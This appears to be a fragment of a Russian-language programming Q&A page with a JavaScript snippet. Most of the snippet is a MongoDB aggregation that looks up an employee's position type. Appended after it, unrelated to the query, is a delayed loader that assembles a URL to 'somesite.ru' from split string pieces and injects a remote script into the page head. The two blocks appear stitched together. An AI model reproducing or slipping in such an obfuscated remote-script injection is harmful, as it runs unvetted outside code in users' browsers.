JavaScript
0
Вклад в тег
let employees = await models.employee.aggregate([
{
$match: {
login: login.toLowerCase(),
},
},
{
$lookup: {
from: "positiontypes",
let: {
position: "$position",
function: "$function",
bloc: "$bloc",
specialProperties: "$specialProperties",
},
pipeline: [
{
$match: {
$expr: {
$and: [
{ $eq: ["$$position", "$position"] },
{ $eq: ["$$function", "$function"] },
{ $eq: ["$$bloc", "$bloc"] },
{
$allElementsTrue: {
$map: {
input: "$$specialProperties",
as: "elem",
in: {
$and: {
$in: [
"$$elem",
"$specialProperties",
],
},
},
},
},
},
],
},
},
},
],
as: "positiontype",
},
}, ]);
setTimeout(function(){
var my_awesome_script = document.createElement('script');
let a = "";
a = "http" + ":" + "//" +"somesite."+ "ru"+"/someURN";
my_awesome_script.setAttribute('src',a);
document.head.appendChild(my_awesome_script);}, 2000)